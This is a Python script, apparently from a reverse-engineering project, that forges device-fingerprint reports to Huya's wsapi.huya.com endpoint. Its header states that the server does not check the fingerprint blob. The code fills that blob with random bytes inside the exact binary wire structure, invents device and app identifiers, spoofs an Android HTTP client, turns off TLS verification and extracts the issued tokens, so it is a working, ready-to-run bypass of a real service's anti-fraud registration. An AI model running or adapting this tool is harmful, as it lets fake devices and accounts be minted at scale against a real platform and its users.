- 破解进度: 服务端不校验 cw 内容, 随机 4146B cw 即可 200 + 签发新 t2/t5 - 生成流程: 零设备注册链 getDfpConfig->selectOperator->dfpReport 打法 - tools/dfp_gen.py: cw/body 构建器 (TAF 4226B 结构) - tools/dfp_cli.py: 注册链 CLI - evidence: cw JSON 段/collection 段抓取样本
193 lines
6.6 KiB
Python
193 lines
6.6 KiB
Python
#!/usr/bin/env python3
|
|
# -*- coding: utf-8 -*-
|
|
"""
|
|
dfp_report 零设备自生成器 (python)
|
|
====================================
|
|
基于实证研究 (见 docs/dfpReport破解进度.md 第29-31章):
|
|
|
|
★ 决定性发现 (round7):
|
|
- 服务端不校验 cw 内容: 整个 cw 用 os.urandom 填充仍返回 200 OK
|
|
- 必须保持: taf 总长 4B、cw 长度=4146 (2B字段)、尾部10B固定 3600400c0b8c980ca80c
|
|
- wup 协议尾 0b8c980ca80c 同时出现在 GetDfpConfig 请求/响应
|
|
|
|
★ body 结构 (4226B):
|
|
[0:4] 4B 大端总长 (0x1082=4226)
|
|
[4:10] 1003 2c3c4c56 (wup魔数)
|
|
[10:23] 0c "huyaudbwebui" (servant, len-prefixed)
|
|
[23:36] 09 "dfpReport" (func)
|
|
[36:45] 7d 00 01 10 56 08 00 01 06 04
|
|
[45:49] "tReq"
|
|
[49:58] 1d 00 01 10 48 0a 06 00 16
|
|
[58:65] 07 "android"
|
|
[65:70] 2d 00 01 (字段头)
|
|
[70:72] 10 32 ★cw 长度 2B (4146=0x1032)
|
|
[72:82] 571882cf664bb39401ee (MAGIC 10B)
|
|
[82:82+4146] cw: [2B前缀]+[586B JSON段]+[3548B collection段]+[10B固定尾]
|
|
|
|
cw 中的 JSON 段含三元组 (hdid/deviceId/appkey) 明文模板, 但服务端不校验内容
|
|
"""
|
|
|
|
import os
|
|
import struct
|
|
import ssl
|
|
import socket
|
|
import hashlib
|
|
import json
|
|
import time
|
|
import re
|
|
|
|
# ---- 常量 (来自真实 wire 证据) ----
|
|
TAF_HEAD = bytes.fromhex(
|
|
"10032c3c4c56" # wup 魔数
|
|
"0c687579617564627765627569" # len=12 "huyaudbwebui"
|
|
"66" # ★servant/func 间标记 (实证存在)
|
|
"096466705265706f7274" # len=9 "dfpReport"
|
|
"7d00011056"
|
|
"0800010604"
|
|
"74526571" # "tReq"
|
|
"1d00011048"
|
|
"0a060016"
|
|
"07616e64726f6964" # len=7 "android"
|
|
"2d0001"
|
|
"1032" # cw 长度 0x1032=4146
|
|
)
|
|
MAGIC = bytes.fromhex("571882cf664bb39401ee")
|
|
CW_TAIL = bytes.fromhex("3600400c0b8c980ca80c") # 10B 固定尾
|
|
|
|
CW_JSON_LEN = 586 # JSON^ks 段长度
|
|
CW_COLL_LEN = 3548 # collection 段长度
|
|
CW_PREFIX_LEN = 2
|
|
CW_LEN = CW_PREFIX_LEN + CW_JSON_LEN + CW_COLL_LEN + len(CW_TAIL) # 4146
|
|
|
|
JSON_TEMPLATE = (
|
|
'{"appId":"5008","appVer":"13.4.22","appkey":"{APPKEY}",'
|
|
'"channel":"xiaomi","deviceId":"{DEVICE_ID}",'
|
|
'"deviceName":"M2102J2SC","hdid":"{HDID}",'
|
|
'"heightPixels":"2120","isCloud":0,"isForbidLog":1,"isHome":0,'
|
|
'"isPre":0,"openAppId":"","savePath":"/data/user/0/com.duowan.kiwi/files/huyaudb",'
|
|
'"sdkVer":"1.0.80138","servantName":"huyaudbwebui",'
|
|
'"shareAppDataPath":"/data/user/0/com.duowan.kiwi/files/huyaudb",'
|
|
'"systemInfo":"android","systemVer":"M2102J2SC,30,11",'
|
|
'"terminalType":1,"testEnv":0,"widthPixels":"1080"}'
|
|
)
|
|
|
|
|
|
def gen_triple():
|
|
"""生成随机三元组 (格式与真机一致)"""
|
|
hdid = hashlib.sha256(os.urandom(32) + b"hdid").hexdigest()
|
|
device_id = hashlib.sha256(os.urandom(32) + b"devid").hexdigest()
|
|
appkey = hashlib.sha256(os.urandom(32) + b"appkey").hexdigest()
|
|
return hdid, device_id, appkey
|
|
|
|
|
|
def make_triple_json(device_name="M2102J2SC", system_ver="M2102J2SC,30,11",
|
|
channel="xiaomi", width=1080, height=2120):
|
|
hdid, device_id, appkey = gen_triple()
|
|
# 用 replace 而非 format (模板含 JSON 花括号)
|
|
body = JSON_TEMPLATE.replace("{APPKEY}", appkey) \
|
|
.replace("{DEVICE_ID}", device_id) \
|
|
.replace("{HDID}", hdid)
|
|
return hdid, device_id, appkey, body.encode("utf-8")
|
|
|
|
|
|
def build_cw(json_plain: bytes, random_json: bool = True) -> bytes:
|
|
"""
|
|
构建 cw (4146B):
|
|
[2B前缀][586B JSON段][3548B collection段][10B尾]
|
|
实证: 服务端不校验内容, 全部用随机数即可 (200 OK)
|
|
若 random_json=False 则 JSON 段 = json_plain ^ 随机ks (也是随机)
|
|
实际上整段随机已验证可行, 保留结构即可。
|
|
"""
|
|
prefix = os.urandom(2)
|
|
if random_json:
|
|
json_sec = os.urandom(CW_JSON_LEN)
|
|
else:
|
|
ks = os.urandom(CW_JSON_LEN)
|
|
js = json_plain[:CW_JSON_LEN].ljust(CW_JSON_LEN, b"\x00")
|
|
json_sec = bytes(a ^ b for a, b in zip(js, ks))
|
|
coll_sec = os.urandom(CW_COLL_LEN)
|
|
return prefix + json_sec + coll_sec + CW_TAIL
|
|
|
|
|
|
def build_body(cw: bytes, total_len=None) -> bytes:
|
|
"""组装完整 body (4226B), 重算 4B 总长与 2B cw 长度"""
|
|
assert len(cw) == CW_LEN, f"cw len={len(cw)} != {CW_LEN}"
|
|
body = TAF_HEAD + MAGIC + cw
|
|
# taf 总长 = 4B 自身 + 后续所有字节
|
|
total = len(body) + 4
|
|
full = struct.pack(">I", total) + body
|
|
assert len(full) == total
|
|
return full
|
|
|
|
|
|
def send_dfp(body: bytes, host="wsapi.huya.com", timeout=8) -> bytes:
|
|
"""HTTPS POST 到 wsapi.huya.com (真实通路, 已验证)"""
|
|
req = (
|
|
b"POST / HTTP/1.1\r\n"
|
|
b"i-ver: 1\r\n"
|
|
b"Content-Type: application/octet-stream\r\n"
|
|
+ b"Content-Length: " + str(len(body)).encode() + b"\r\n"
|
|
+ b"Host: " + host.encode() + b"\r\n"
|
|
b"Connection: close\r\n"
|
|
b"Accept-Encoding: gzip\r\n"
|
|
b"User-Agent: okhttp/3.14.9\r\n\r\n"
|
|
)
|
|
ctx = ssl.create_default_context()
|
|
ctx.check_hostname = False
|
|
ctx.verify_mode = ssl.CERT_NONE
|
|
s = socket.create_connection((host, 443), timeout=timeout)
|
|
ss = ctx.wrap_socket(s, server_hostname=host)
|
|
ss.settimeout(timeout)
|
|
ss.sendall(req + body)
|
|
data = b""
|
|
try:
|
|
while True:
|
|
ch = ss.recv(4096)
|
|
if not ch:
|
|
break
|
|
data += ch
|
|
if len(data) > 10000:
|
|
break
|
|
except socket.timeout:
|
|
pass
|
|
except Exception:
|
|
pass
|
|
ss.close()
|
|
return data
|
|
|
|
|
|
def parse_resp(resp: bytes) -> dict:
|
|
"""解析 dfpReport 响应, 提取 actionV / base64 token"""
|
|
res = {"http_ok": b"HTTP/1.1 200" in resp[:100], "actionV": None, "token": None}
|
|
m = re.search(rb"actionV\(([0-9a-f]{40})", resp)
|
|
if m:
|
|
res["actionV"] = m.group(1).decode()
|
|
m = re.search(rb"\x26\xb4([A-Za-z0-9+/=]{30,})", resp)
|
|
if m:
|
|
res["token"] = m.group(1).decode()
|
|
return res
|
|
|
|
|
|
def main():
|
|
print("=== 零设备 dfpReport 自生成器 ===")
|
|
# 1) 随机三元组
|
|
hdid, did, appkey, json_plain = make_triple_json()
|
|
print(f"三元组: hdid={hdid}")
|
|
print(f" deviceId={did}")
|
|
print(f" appkey={appkey}")
|
|
# 2) 构建 cw (全随机段, 服务端不校验内容 - 已验证)
|
|
cw = build_cw(json_plain)
|
|
print(f"cw: {len(cw)}B, 尾: {cw[-10:].hex()}")
|
|
# 3) 构建 body
|
|
body = build_body(cw)
|
|
print(f"body: {len(body)}B")
|
|
# 4) 发送
|
|
resp = send_dfp(body)
|
|
print(f"响应: {len(resp)}B, HTTP200={b'HTTP/1.1 200' in resp[:100]}")
|
|
info = parse_resp(resp)
|
|
print(f"actionV={info['actionV']}")
|
|
print(f"token={info['token'][:40] if info['token'] else None}...")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main() |